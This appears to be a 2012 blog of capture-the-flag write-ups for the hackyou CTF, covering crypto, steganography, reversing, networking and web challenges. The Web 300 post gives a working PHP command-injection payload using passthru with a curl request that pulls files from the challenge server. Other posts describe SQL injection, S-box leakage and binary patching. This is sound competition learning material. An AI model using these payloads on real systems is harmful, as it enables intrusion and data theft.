PPC: 100 200 300 Steg: 100 200 300 Crypto: 100 200 300 Web: 100 200 300 Reversing: 100 200 300 Networking: 100 200 300
Showing posts with label hackyou 2012. Show all posts
Showing posts with label hackyou 2012. Show all posts
Thursday, October 18, 2012
hackyou CTF Writeups
Leet More was kind enough to host a CTF that ran over a large enough time frame to allow those of us in school to take our time with the competition. The competition ran from 8 October to 18 October and spanned a variety of topics including PPC (tasks that require programming), Steg (tasks that have some secret info embedded in a pile of crap and require steganalysis), Crypto (tasks that involve dealing with cryptoalgorithms and ciphertexts), Web (tasks that have to do with web technologies and site hacking), Reversing (tasks that feature a binary that needs to be examined and analyzed), and Network/Packets (tasks that require knowledge of network protocols, sniffing etc.) Below are a set of links to writeups for various challenges. I believe that I had a unique approach to several of the problems and I would be interested to see how other people did it. Feel free to leave comments with how you solved the challenge!
Wednesday, October 17, 2012
hackyou CTF: Web 200
This problem had everything to do with variable types (which are evil). It turns out the foreach does nothing if the variable type is not an array, which means we completely bypass the mysql_real_escape_string in the foreach loop and we can SQL inject the field (we still have to escape out of the serialize, but that is just a few more quotes. Just another SQL injection exercise where too many people were trying to modify the same database at the same time..........
-- suntzu_II
-- suntzu_II
hackyou CTF: Crypto 300
This was a fun network crypto challenge. The server is shown below.
.
-- suntzu_II
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import os, sys, re
from socket import *
PORT = 7777 or int(sys.argv[1])
KEY = open("_flag.txt").read()
SBOX = list(range(128))
SALTED_SBOX = list(range(128))
# ----------------------------------------------------------------
# SERVICE
# ----------------------------------------------------------------
def main():
add_key(SALTED_SBOX, KEY)
serve()
def serve():
f = socket(AF_INET, SOCK_DGRAM)
f.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
f.bind(("0.0.0.0", PORT))
print "[*] Server started on %d" % PORT
while True:
data, addr = f.recvfrom(4096)
client(data, addr, f)
return
def client(data, addr, f):
print "[.] GOT", repr(data), "FROM", addr
if len(data) % 2 or len(data) > 64:
return
for ch in data:
if ord(ch) >= 128:
return
mid = len(data) >> 1
k = data[:mid].rstrip("\x00")
m = data[mid:].rstrip("\x00")
c = encrypt(SALTED_SBOX, k, m)
f.sendto(c.encode("hex"), addr)
print "[+] RESULT SENT", addr, "\n"
return
# ----------------------------------------------------------------
# CRYPTO
# ----------------------------------------------------------------
def encrypt(sbox, k, m):
sbox = sbox[::]
add_key(sbox, k)
c = ""
for ch in m:
c += chr(sbox[ord(ch)])
sbox = combine(sbox, sbox)
return c
def add_key(sbox, k):
for i, c in enumerate(k):
print i, sbox[ord(c)], ord(c)
sbox[i], sbox[ord(c)] = sbox[ord(c)], sbox[i]
for i in xrange(len(sbox)):
sbox[i] = (sbox[i] + 1) % 128
return
def combine(a, b):
ret = [-1] * len(b)
for i in range(len(b)):
ret[i] = a[b[i]]
return tuple(ret)
if __name__ == "__main__":
main()
The big weakness in this crypto was the fact that we can steal the SALTED_SBOX by sending special packets to the server. My script to steal the sbox is shown below.
from socket import *
import binascii
# Create a list of numbers so I can figure out which one I didn't download
nums = list(range(128))
SALT = list()
# This iterates through all possible spots of the SBOX
for i in range(1,128):
print i
# Create a string that looks like \x00\x01
send = '\x00' + binascii.unhexlify(hex(i)[2:].zfill(2))
s = socket(AF_INET, SOCK_DGRAM)
# You actually run this against their server intially
s.connect(('localhost', 7777))
s.sendall(send)
sbox = int(s.recv(1024), 16)
SALT.append(sbox)
s.close()
nums.remove(sbox)
SALT.insert(0, nums[0])
length = SALT[-1]
flag = ''
for i in range(0, length):
val = (SALT[i]-(length+1))%128
flag += chr(val)
print flag
for i in range(128):
SALT[i] = (SALT[i] - (length+1))%128
hexSALT = []
for i in SALT:
hexSALT.append(hex(i)[2:].zfill(2))
print hexSALT
### Everything below this line was added merely so I could easily see the
### Salted SBOX of the server after I had downloaded it.
print
print ['3c', '69', '73', '60', '74', '68', '31', '02', '03', '6b', '33', '79', '08', '6c', '30', '6e', '39', '0c', '65', '0f', '0e', '75', '67', '05', '3f', '3e', '1a', '1b', '1c', '1d', '1e', '1f', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '2a', '2b', '2c', '2d', '2e', '2f', '14', '06', '32', '0a', '34', '35', '36', '37', '38', '10', '3a', '3b', '00', '3d', '19', '18', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '4a', '4b', '4c', '4d', '4e', '4f', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '5a', '5b', '5c', '5d', '5e', '5f', '11', '61', '62', '63', '64', '12', '66', '16', '17', '01', '6a', '09', '0d', '6d', '13', '6f', '70', '71', '72', '07', '04', '15', '76', '77', '78', '0b', '7a', '7b', '7c', '7d', '7e', '7f']
The server's stolen sbox is at the bottom of the script and (if there are no duplicate chars) then the key used to salt the sbox is at the beginning of the array where each value subtracts the final value in the array mod 128 (ie. 3c-7f % 128). So now, instead of running against their server, I ran a local one with the key that I knew up to that point (the first few characters were legible) and slowly changed the _flag.txt until the sboxs matched. So all I did was download there sbox and then create a string that resulted in their sbox, which was the flag - -- suntzu_II
hackyou CTF: Networking 300
This one was a bit harder than the other two networking challenges purely because it had no directions. I got the pcap file from the tinyurl link in the 100 level challenge and started examining the file. There are TONS of files to mess with, so I ran NetworkMiner on the pcap and got all sorts of data out of it. The interesting one, however, was ctf.exe.
After some examination of the disassembly, I determined that this was a symmetric key encryption algorithm in which the message was just XORed with the key. The key was constructed by XORing 8 bytes that the server sends at the beginning of the interaction with the string "_hackme_". This creates an 8 byte key which we XOR in a vigenere type encryption along the length of the string we want to send. The request we want to send is 'FlagRequest:omkesey' concatenated with 4 bytes that the server sends, a null byte, and an underscore (the beginning of _hackme_ which is next on the stack). Once we encrypt it, we send it to the server and receive 50 bytes. We then decrypt the flag in the same fashion as we encrypted our request and out pops the answer - "Hire_m3_mister_U". The script below implements the functionality of ctf.exe.
After some examination of the disassembly, I determined that this was a symmetric key encryption algorithm in which the message was just XORed with the key. The key was constructed by XORing 8 bytes that the server sends at the beginning of the interaction with the string "_hackme_". This creates an 8 byte key which we XOR in a vigenere type encryption along the length of the string we want to send. The request we want to send is 'FlagRequest:omkesey' concatenated with 4 bytes that the server sends, a null byte, and an underscore (the beginning of _hackme_ which is next on the stack). Once we encrypt it, we send it to the server and receive 50 bytes. We then decrypt the flag in the same fashion as we encrypted our request and out pops the answer - "Hire_m3_mister_U". The script below implements the functionality of ctf.exe.
import socket
s = socket.socket()
s.connect(('159.253.22.174',3137))
data = s.recv(17)
key = s.recv(8)
linefeed = s.recv(2)
extra = s.recv(4)
hack = '_hackme_'
# These lines create the xor key for later use
newkey = ''
for i in range(len(key)):
newkey += chr(ord(key[i]) ^ ord(hack[i]))
# This is the string we will encrypt
request = 'FlagRequest:omkesey'+extra+'\x00_'
# And now we encrypt it
answer = ''
for i in range(len(request)):
answer += chr(ord(request[i]) ^ ord(newkey[i%8]))
answer += 'hackme_'
# Send the encrypted string
s.sendall(answer)
# Receive the response (this is encrypted)
ans = s.recv(50)
# Decrypt this with the same key we encrypted with
newans = ''
for i in range(0, len(ans)):
newans += chr(ord(newkey[i%8]) ^ ord(ans[i]))
# Print the winning key
print newans
-- suntzu_II
hackyou CTF: Web 300
I'm very confident that I did not solve this in the manner I was supposed to do. Because I did not solve it how it was intended, I believe I made it more complicated than necessary, but in the end I believe it was a very cool solution.
The website is a random number generator and from reading the source code we know two things: they give you some nasty, nasty source code for the site and we want to access flag.txt.gz but can't. The source is posted below.
The website returned this at one point, so we can kind of change the algorithm. But what can we change it to? After much manual fuzzing of this algorithm, I determined that the algorithm must begin with "ShA1(dATe(" (camelcase matters), it must have the same length, and it must only contain letters that can be represented in hex with decimal numbers only (0x0a would not work but 0x09 would). This unfortunately eliminates so many useful characters that I spent the next few hours trying to craft an algorithm that would actually work and get me somewhere. At some point, I was eventually able to run the following algorithm.
-- suntzu_II
The website is a random number generator and from reading the source code we know two things: they give you some nasty, nasty source code for the site and we want to access flag.txt.gz but can't. The source is posted below.
<?${b("ee3ab0f9421ce0feabb4676542993ab3")}=b("9a8890a6434cd24e876d687bcaf63b40218f525c");${b("a7d2546914126ca18ca52e3205950070")}=b("c74b0811f86043e9aba0c1d249633993");${b("116fe81df7d030c1e875745f97f9f138")}=b("6da187003b534e740a777e");${b("a3bfe0d3698e1310cce7588fbab15dbe")}=b("f19e6937d9080f346a01");${b("39ebc7035a36015274fdb7bf7c1b661e")}=b("336f2f8b0f837cf318");${b("66711d77210b4193e5539696d4337127")}=b("283101ccbc823b56");${b("d1cb34796276edb85d038ee75671cf4b")}(b("82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f10fbef132e844b9062f07676a5b8a02569d68a552ef107d87ff4636ea5a6a10e4d83975a7add578362f07676a5b8ff610ed6d91c66c10ac82894083ae0ba90044a8fdb3e04844b8c36a56a29fed29a0e0ebb8a407a8438c975ec707fe0d4bc2c0e9f8b137acc0e8c41f67076a4badd031dc8e8392e844b8c2ab82f37e0e593050982c54761d108c436ed6a73b3bcd2035a829509218b18c975ec707fb2e89545439f96476bd612c363b7706fefe09e0a49d8914b7a8a0cd636b42f24cd8cd24b0ed6d91223894bcf77f7226eaff391030e828d5a7d9e4bc462ed7220efa9810e4d8397567cca0c827bf0716ea5f48b045bd8974621cd05c873e12c6aa8f6dc1f5682c51e239a66a636b9223afce09d1943d688567acc04c82bbe525593d2d55523fcc5132e844b8c53f7767fb2a686034bd696566bc0188c70f6703ab2e79c0f419bc55d7bc909c964b9657faee3800a5a9f8a5d228404c273b96063e0ea9b054bccd943219a66a636b9223ae0a6ce1f4b8e91527cc10a8c78f86f7ffda1800549a996566bc0188b36fa6d76b3bbc75b0e848a447d995a9c28"));if(${b("6c74ed82b97f6c415a83aa0aa8baf8d1")}(b("3d7e368111b63c72515d5d46b1"),${b("eb717d90b3287b1fbd")})){${b("532194e0380d7a29761eb0b215b4168d")}=${b("cb3911f75937342f3b")}[b("2daec48e9ce64f696075279dff")];${b("f877261be92e25500a601f21ab4cfa84")}=${b("507c24291c22ba245b")}[b("398058b936ce0090a90f349a298ae06b96")];${b("dbcffbbeb2632a6e6c6f84ac52064768")}=b("ac51a58253c0a511c9dc9cafd2490c5bd490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856");if(${b("2e272b48041e04ef643cc8624445f2a0")}!=${b("6a24556aba8e247fa9d27de3bed53586")})${b("baee65eb837f2005a229dc821e06b2d9")}(b("d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803"));else${b("966fd744cb7b26253a2d2e10d4f86ceb")}(${b("ee2d11ebf1e0953de1b3cd330bf63b45")}(b("ef1a9b31679b8ed9faa81647e89a674234"),${b("6e9dca05952d2364621f20fd1177a04c")}(b("99b85fb97c17"),${b("b9c7fb42fb9760cf9f90bdc23dcac2e6")}),${b("532194e0380d7a29761eb0b215b4168d")}));}else{foreach(${b("ff38daff4156b41b58d2ecfb70e4bc6b")}(b("cd248b6cb8"),b("94a8be1778"))as$_)${b("c30cddb21a8c75cc8e45d9fc34655c09")}(${b("9946a48e60730e4ca59fc82e0562fca1")}().b("f975de3ba2"));}${b("88a0090aa5d28c97de682ff340fc340b")}(b("3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d67bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299"));function b($b){return eval(Ü瑈©²ÓÒœÄ ¬žó¶é²îŒ–‰…ú í©¦Î²Œ×ª±§èù伦¡®Óð¿¿àšÒ ڊоßÁÜ•ï͵þë™Ä–þ¶±¤³ŒÀåòÈàÙ¡‰¿¸–¦õðöÌ¼Š‰ßº‘ìØÚåàÇÐÑ‘ÊÛ‰âä þŠéÁÔÛ’ÈÕÑ Ï„ªüä±µÑÛÏÉ^®‚åýÛÜó¡è¶ÿÞûƒÓˆÆÆáò¼‰ÕÚÒ¼š´îûšŸÁÕÎÓć°•ÖÓȲ¡Ô¨æµÐ÷å¾¼ÂõœÑÚ¯í¿ ÆÐþÏ›®œÆð¼¡ÜΨúÊÚåÒ‡ØÒ®² ö);} ?>
I had NO clue how to decode this source code or even how it runs on the server (please comment if you know how). What I did see, however, was a POST parameter called rng_algorithm=a long string of numbers. This, when decoded to ASCII, yielded "ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))." WE CAN CHANGE THE ALGORITHM!!! HOORAY! Wuut? Hacker detected!
The website returned this at one point, so we can kind of change the algorithm. But what can we change it to? After much manual fuzzing of this algorithm, I determined that the algorithm must begin with "ShA1(dATe(" (camelcase matters), it must have the same length, and it must only contain letters that can be represented in hex with decimal numbers only (0x0a would not work but 0x09 would). This unfortunately eliminates so many useful characters that I spent the next few hours trying to craft an algorithm that would actually work and get me somewhere. At some point, I was eventually able to run the following algorithm.
ShA1(dATe($0))&(@passthru('pwd')%'11111111111111111111111111')
This returned my current working directory! We are getting somewhere! After about another 30 minutes of trying to figure out how to read the file, I ran the following algorithm.
ShA1(dATe($0))&(@passthru('cat `dir`')%'11111111111111111111')
This was a bad way to try get a gz file though (copy and paste is unreliable at best) so I decided to run it through curl and output it to a file.
curl --data "rng_seeds=280527088%0D%0A1067734584%0D%0A2024574801%0D%0A11326050%0D%0A1199766137%0D%0A&rng_algorithm=5368413128644154652824302929262840706173737468727528276361742060646972602729252731313131313131313131313131313131313131312729" http://securerng.misteryou.ru/ > flag.txt.gzThis did present some issues with there being extra data because of the other files in the directory, but it wasn't difficult to find the start and end of files with a little magic header research. I gunzipped the file only to find a ridiculously long base64 encoded string which, of course, was base64 encoded 42 times (I found that number with a variant of the below script). The script below decoded the flag and got the answer "flag: 36e03906042b7b266afa32bd1ea35445".
import base64
text = open('response.txt', 'r').read()
for i in range(42):
text = base64.b64decode(text)
print text
So. In summary, I made this much more difficult than I think it was supposed to be, but I think it was a cool solution regardless. -- suntzu_II
hackyou CTF: Networking 100
They give you a pcap file (Download Here) and tell you to "Find the secret link in this conversation." I opened this in Wireshark and followed what appeared to be some sort or IRC conversation. In tcp.stream 4, I found the following message.
The key was tinyurl.com/8pdox5a, which was also where you were supposed to download the network 300 challenge.
-- suntzu_II
The key was tinyurl.com/8pdox5a, which was also where you were supposed to download the network 300 challenge.
-- suntzu_II
hackyou CTF: Networking 200
This problem was rather trivial. Open the pcap file with Wireshark. Find the packet that says "FTP Data: 1448 bytes." Right-click -> Follow TCP Stream. Click "Save As" and save the file. Run md5sum on the file. The answer is 77f92edb199815b17e2ff8da36e200df.
-- suntzu_II
-- suntzu_II
hackyou CTF: Reversing 300
This challenge was significantly more complicated than the other two reversing challenges. The first thing we needed to do was unpack the executable, but UPX didn't recognize it. UPX didn't recognize it because somebody changed all references in the executable from UPX to LOL. Once I changed this back, I could run upx -d on the program and unpack it.
At this point I started to examine what the program was actually doing. When I ran it, I saw that it wanted a user and a key, so I needed to figure out how to generate a key for a user. So I fired up IDA and got cracking with the disassembly. There are several pieces of information of interest that are readily apparent, namely that the username can't be hackyou and that the key takes the form xxxx-xxxx-xxxx. After further examination, I found the spot where the program is comparing the characters that generate from my username and what I entered, so I put the address (there are actually 3 addresses, one for each part) as a breakpoint in gdb and ran the program. The three breakpoints are 0804842B, 080484EA, and 080485A9. A screenshot of the IDA disassembly is shown below.
When I set the breakpoint at the address in the above picture, all I had to run was 'info registers' in gdb and the expected value was in eax. So I built a key one character at a time until I had the user/key combination of h4ckyou/jzwd-f6x4-s0ao. Unfortunately at this point, it said "Great! Now submit the license key for 'hackyou.' The easiest way to do it is find all of the strings in the binary that are the string hackyou to something like hackyoo (I suggest using bvi which is like vi but for editing hex). After this, we repeat the process with the username hackyou and get the key kecc-hack-yo0u.
-- suntzu_II
At this point I started to examine what the program was actually doing. When I ran it, I saw that it wanted a user and a key, so I needed to figure out how to generate a key for a user. So I fired up IDA and got cracking with the disassembly. There are several pieces of information of interest that are readily apparent, namely that the username can't be hackyou and that the key takes the form xxxx-xxxx-xxxx. After further examination, I found the spot where the program is comparing the characters that generate from my username and what I entered, so I put the address (there are actually 3 addresses, one for each part) as a breakpoint in gdb and ran the program. The three breakpoints are 0804842B, 080484EA, and 080485A9. A screenshot of the IDA disassembly is shown below.
When I set the breakpoint at the address in the above picture, all I had to run was 'info registers' in gdb and the expected value was in eax. So I built a key one character at a time until I had the user/key combination of h4ckyou/jzwd-f6x4-s0ao. Unfortunately at this point, it said "Great! Now submit the license key for 'hackyou.' The easiest way to do it is find all of the strings in the binary that are the string hackyou to something like hackyoo (I suggest using bvi which is like vi but for editing hex). After this, we repeat the process with the username hackyou and get the key kecc-hack-yo0u.
-- suntzu_II
hackyou CTF: Reversing 200
This challenge presents you with a random number guesser where the user has to guess a randomly generated number. The good thing about this is that it does not use what we enter to generate the key. The relevant assembly is shown below.
The easy way to do this is to switch the comparison to something simpler.
When the C8 is changed to a C0, the program thinks that we win always and it spits out the key, oh_you_cheat3r.
-- suntzu_II
The easy way to do this is to switch the comparison to something simpler.
cmp eax, ecx cmp eax, eaxThis changes the hexidecimal from 39 C8 to 39 C0 (Intel x86 opcode). A screenshot of the hex that we are looking to change is shown below.
When the C8 is changed to a C0, the program thinks that we win always and it spits out the key, oh_you_cheat3r.
-- suntzu_II
hackyou CTF: Reversing 100
This reversing problem was pretty trivial. They give you source code and all you have to do is get past the if statements. The code is shown below.
#includeThe winning execution is#include int main(int argc, char *argv[]) { if (argc != 4) { printf("what?\n"); exit(1); } unsigned int first = atoi(argv[1]); if (first != 0xcafe) { printf("you are wrong, sorry.\n"); exit(2); } unsigned int second = atoi(argv[2]); if (second % 5 == 3 || second % 17 != 8) { printf("ha, you won't get it!\n"); exit(3); } if (strcmp("h4cky0u", argv[3])) { printf("so close, dude!\n"); exit(4); } printf("Brr wrrr grr\n"); unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207; printf("Get your key: "); printf("%x\n", hash); return 0; }
./rev100 51966 25 h4cky0u Brr wrrr grr Get your key: c0ffee-- suntzu_II
hackyou CTF: Steg 300
This challenge was extremely frustrating. The picture is shown below.
I literally spent days staring at this picture zoomed in all close trying to match up fonts and pixels to try to get the key that was half overwritten. I didn't actually solve the problem until they released the following hint.
I literally spent days staring at this picture zoomed in all close trying to match up fonts and pixels to try to get the key that was half overwritten. I didn't actually solve the problem until they released the following hint.
"Lucy in the Sky with Balls"The three letters that are bolded are LSB (Least significant bit) at which point I wrote a quick little python script which converted the LSBs of every pixel into binary which I converted to ASCII. The script is shown below.
from PIL import Image
# Open the image in read mode
im = Image.open('stg300.png', 'r')
# pixels is an object which allows access to
# individual pixels
pixels = im.load()
# Get the size of the picture
width, height = im.size
binary_ans = ''
for y in xrange(height): # Iterate through each pixel
for x in xrange(width):
# pixels[x, y] returns a tuple with RGB vals
blue_pix = pixels[x, y][2] # Get the blue val
lsb = bin(blue_pix)[-1] # Get the LSB
binary_ans += lsb # Append the LSB
# This just converts the binary to ASCII
answer = ''
for i in xrange(len(binary_ans)/8):
answer += chr(int(binary_ans[i*8:i*8+8], 2))
print answer
This script returned the following string, which was hidden in the image over and over again.
4E34B38257200616FB75CD869B8C3CF0 *** Congrats You win! The Flag is 4E34B38257200616FB75CD869B8C3CF0 *** Congrats You win! The Flag is 4E34B38257200616FB75CD869B8C3CF0 *** Congrats You win! The Flag is 4E34B38257200616FB75CD869B8C3CF0 *-- suntzu_II
hackyou CTF: Steg 200
This challenge is a picture of a slightly creepy ghost thing (shown below).
When you adjust the Lightness and Saturation of the picture and turn Constrast all the way up (I used Gimp for this), a secret key appears.
The dots are 7 bit ASCII where the two dots is a 1 and the one dot is a 0. This message translates to aint_afraid_of_no_ghosts.
-- suntzu_II
When you adjust the Lightness and Saturation of the picture and turn Constrast all the way up (I used Gimp for this), a secret key appears.
The dots are 7 bit ASCII where the two dots is a 1 and the one dot is a 0. This message translates to aint_afraid_of_no_ghosts.
-- suntzu_II
Tuesday, October 16, 2012
hackyou CTF: Steg 100
A cursory reading of the text file in question revealed scattered capital letters within words. A quick script that grabbed all of the capital letters not at the beginning of words is shown below.
-- suntzu_II
import re
# Read the file into a string
text = open('stg100.txt', 'r').read()
# Create a regex to replace all non-letters with
# a space to allow us to split.
letters = re.compile('[^a-zA-Z]+')
words = letters.sub(' ', text).split(' ')
answer = ''
for word in words: # Iterate through the words
count = -1
for letter in word: # Iterate the letters
count += 1
if count and letter.isupper():
answer += letter # It is part of the flag
print answer
This script revealed the string FLAGISSEXYSTEGOPANDAS. -- suntzu_II
hackyou CTF: PPC 200
In this challenge, the task is to try to get the sha1 hash of a 1,048,576 character, of which we have keylogged all but 8 characters. We also have the final md5 hash of the password. The key here is to perform a sort of md5 hash extension to speed up the brute forcing process (there are a max of 99,999,999 possibilities). Luckily, python's md5 library is very useful for this kind of function! Here is my script which read the keylogger file (I actually grepped out some of the file to simplify the process before I ran the python), and then brute forced the password.
-- suntzu_II
import re,md5,hashlib
password = open('bob', 'r').read() # open the simplified file
dec = re.compile(r'[^\d]+') # regex to eliminate non-number chars
password = dec.sub('', password) # eliminate the chars
init = md5.new(password) # create an md5 object with the first
# 1,048,568 chars
# Loop through the keyspace
for i in range(0,99999999): # Print the count every 100,000 iterations
if i%100000 == 0: # because I am impatient
print i
tmp = init.copy() # Create a copy of the md5 hash to manipulate
tmp.update(str(i).zfill(8)) # Do the hash extension with i
test = tmp.hexdigest() # Compute the hash
# If the md5 is correct, we win!
if test == '287d3298b652c159e654b61121a858e0':
print 'Answer found!'
print hashlib.sha1(password+str(i).zfill(8)).hexdigest()
break
This script finished after about 1 to 2 minutes somewhere around the 68,000,000th try.-- suntzu_II
hackyou CTF: PPC 300
This challenge was very similar to PPC 100 in that it was supposed to be an anti-human captcha. There was a timed challenge to factor a very large number and send one of the factors to the website. However, the number was also an image, which meant I need to do some OCR. To accomplish this, I used Sage to do the math and pytesser (which uses the Tesseract OCR program) to do the character recognition. I was having trouble getting tesseract to work in wine, so I compiled it from source (which takes FOREVER) and then it was fairly successful! It occasionally turned an 8 into an S and a 0 into an O. But a short time later I had a python script that was running successfully.
-- suntzu_II
import os
from subprocess import *
from pytesser import *
import urllib2, urllib
# A method to ease the calling of commands to the system
def run_cmd(cmd):
p = Popen(cmd, shell=True, stdout=PIPE)
output = p.communicate()[0]
return output
# This gets the html of the captcha
response = urllib2.urlopen('http://misteryou.ru/ppc300/')
html = response.read()
# Get the url of the image so I can download it
pic = html.split('img src=\'')[1].split("'")[0]
# Get the trueanswer field which acts as a cookie
trueanswer = html.split("'trueanswer' value='")[1].split("'")[0]
# Download the image and save it to win.png
urllib.urlretrieve('http://misteryou.ru'+pic, "win.png")
print 'Converting image'
# Convert the png to a tif so that pytesser can work
image = Image.open('win.png').convert('RGB').save('win.tif')
# Get a handle for the tif
image = Image.open('win.tif')
# Convert the image to a string
num = image_to_string(image)
# Isolate the number we want from the rest of the image
num = num.split('\n')[0].split(' ')[1]
print num # Print the original string
# Replace known image conversion issues with the correct number
num = num.replace('O','0').replace('S', '8').replace('-','')
print num # Print the corrected string
# Do the math by asking sage to factor our problem
result = run_cmd('sage -c "print factor('+num+')"')
print result
# Get a factor to send to the server
result = result.split(' * ')[0]
print result
print 'Making web request'
# Set up the post variables
values = {
'captchatype' : 'refactor',
'trueanswer' : trueanswer,
'answer' : result
}
header = {'User-Agent':'Mozilla/4.0'}
data = urllib.urlencode(values)
req = urllib2.Request('http://misteryou.ru/ppc300/', data, header)
response = urllib2.urlopen(req)
print response.read() # Read the result!
The result from the web server wasOk, u are robotwhich translates to kill_1_human as 7-bit ASCII.
Secret is:
1101011
1101001
1101100
1101100
1011111
110001
1011111
1101000
1110101
1101101
1100001
1101110
-- suntzu_II
hackyou CTF: PPC 100
Tasks that fell in the PPC category were supposed to be computationally intensive. PPC 100 was an "Anti-Human Captcha." It was a captcha that asked for two large numbers to be added together and submitted, but it was timed. You had to get it within a certain time limit in order to be considered a 'robot.' So it was time for some python scripting. My winning script is shown below.
-- suntzu_II
import urllib2, urllib
# A unique url here prevents server-side caching with varnish.
# This block grabs a unique equation from the server so that
# we can do the math with as new a result as possible
url = 'http://misteryou.ru/ppc100/?aaaaa'
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
header = { 'User-Agent' : user_agent }
req = urllib2.Request(url, None, header)
response = urllib2.urlopen(req)
data = response.read()
# We have the data and we need to get the trueanswer field which
# acts as a cookie. Then we grab the equation and do the math.
trueanswer = data.split("'trueanswer' value='")[1].split("'")[0]
equation = data.split('</h2>\n')[1].split('<br>')[0]
equation = equation.replace(' ','').replace('\t','')
answer = eval(equation)
# Create the appropriate POST parameters
values = {
'captchatype' : 'hugecaptcha',
'trueanswer' : trueanswer,
'answer' : answer
}
# Send the answer and get the response
data = urllib.urlencode(values)
req = urllib2.Request(url, data, header)
response = urllib2.urlopen(req)
# Print the answer
print response.read()
This returned the following string.Ok, u are robotThis is a set of 7-bit ASCII characters which translates to 'killallhumans'.
Secret is:
1101011
1101001
1101100
1101100
1100001
1101100
1101100
1101000
1110101
1101101
1100001
1101110
1110011
-- suntzu_II
Monday, October 15, 2012
hackyou CTF: Web 100
Web 100 was a classic javascript password that was just a complicated formula. The entered password was used to generate the key so you had to actually break the password. Here is the relevant part of the script.
1. SuppliedPassword.length == 12
Obviously the length of the password has to be twelve, so we start with
The first char must be a number.
The 11th and 2nd char must be a number.
The 3rd and 7th char must be a number.
All of the numbers must add up to twelve.
The 8th char must be the last char of the string PasswordPrompt, which is the letter 'd'.
The char at spot 8 must be 1 letter less than the one at 8 (charAt(0)/charAt(0) always equals 1).
The number at spot 3 must equal the 7th and the 7th must equal the second. No change.
9. Number(SuppliedPassword.charAt(1)) * Number(SuppliedPassword.charAt(10)) ! = 0
Either the second char or the 11th must be a 0. Since the second, third, and seventh must be the same, I chose the 10th. The first number must be adjusted to keep the sum of the numbers at 12.
The difference between spot 2 and spot 11 must equal 1. We must then make spots 2, 3, and 7 equal to satisfy an earlier condition. We must then adjust spot 0 so that all the numbers add to 12. There is only one possible solution here so we know we are getting close to the real solution.
This says that the concatenation of the chars at spots 12, 4, and 5 must equal the substring starting at spot 0 divided by 2. Spot 0 is 9 which is divided by 2 and rounded down to 4 because it is int division. The substring of the passphrase is 'bin' to which we set the chars 12, 4, and 5.
The 10th char must be lowercase. No change.
13. QuoteOfTheDay.indexOf(SuppliedPassword.charAt(9)) != -1
The 10th char in our string must not be in the quote of the day (see the script above). I chose the letter 'j'.
We now have the password and we enter it only to find out there as an annoying countdown/self-destruct sequence that destroys the key before we can copy and paste it. I used burpsuite to change the script before it got to my browser so that it took longer to time out which gave me sufficient time to copy and paste the key: n0-evidence-0n1y-this-8030.
-- suntzu_II
var PasswordIsCorrect = false;
var PasswordPrompt = "Enter the password";
var TodaysSecretPassphrase = "Climbing is dangerous";
var QuoteOfTheDay = "the beige hue on the waters of the loch impressed all, including the zapped french queen, before she heard that symphony again, as kind young arthur wanted. keen oxygen vendor.";
do {
var SuppliedPassword = prompt(PasswordPrompt);
if (SuppliedPassword === null) {
break;
}
if (SuppliedPassword.length == 12) {
PasswordIsCorrect = true;
}
if (! IsNumber(SuppliedPassword.charAt(0))) {
PasswordIsCorrect = false;
}
if (! IsNumber(SuppliedPassword.charAt(10)) || ! IsNumber(SuppliedPassword.charAt(1))) {
PasswordIsCorrect = false;
}
if (! IsNumber(SuppliedPassword.charAt(6)) || ! IsNumber(SuppliedPassword.charAt(2))) {
PasswordIsCorrect = false;
}
if (Number(SuppliedPassword.charAt(0)) + Number(SuppliedPassword.charAt(1)) + Number(SuppliedPassword.charAt(2)) + Number(SuppliedPassword.charAt(6)) + Number(SuppliedPassword.charAt(10)) != SuppliedPassword.length) {
PasswordIsCorrect = false;
}
if (SuppliedPassword.charAt(7) != PasswordPrompt.charAt(PasswordPrompt.length - 1)) {
PasswordIsCorrect = false;
}
if (SuppliedPassword.charCodeAt(7) != SuppliedPassword.charCodeAt(8) - Number(SuppliedPassword.charAt(0)) / Number(SuppliedPassword.charAt(0))) {
PasswordIsCorrect = false;
}
if (Number(SuppliedPassword.charAt(2)) != Number(SuppliedPassword.charAt(6)) || Number(SuppliedPassword.charAt(6)) != Number(SuppliedPassword.charAt(1))) {
PasswordIsCorrect = false;
}
if (Number(SuppliedPassword.charAt(1)) * Number(SuppliedPassword.charAt(10)) != 0) {
PasswordIsCorrect = false;
}
if (Number(SuppliedPassword.charAt(1)) - Number(SuppliedPassword.charAt(10)) != SuppliedPassword.charAt(3).length) {
PasswordIsCorrect = false;
}
if (Number(SuppliedPassword.charAt(1)) - Number(SuppliedPassword.charAt(10)) != SuppliedPassword.charAt(3).length) {
PasswordIsCorrect = false;
}
if (SuppliedPassword.charAt(11) + SuppliedPassword.charAt(3) + SuppliedPassword.charAt(4) != TodaysSecretPassphrase.substr(Number(SuppliedPassword.charAt(0)) / 2, 3)) {
PasswordIsCorrect = false;
}
if (! IsLowercase(SuppliedPassword.charAt(9))) {
